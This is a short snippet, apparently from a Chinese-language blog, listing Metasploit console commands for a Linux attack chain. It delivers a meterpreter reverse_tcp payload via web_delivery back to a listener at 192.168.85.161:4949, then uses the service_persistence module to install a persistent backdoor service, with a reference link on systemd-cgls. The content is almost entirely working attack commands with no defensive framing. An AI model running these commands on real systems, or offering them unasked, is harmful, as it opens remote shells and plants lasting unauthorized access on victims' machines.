代码语言:javascript复制
#service_persistence
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.85.161
set lport 4949
exploit -j
use linux/local/service_persistence
set session 1
set lport 9090
set target 3
exploit -j
systemd-cgls
http://www.jinbuguo.com/systemd/systemd-cgls.html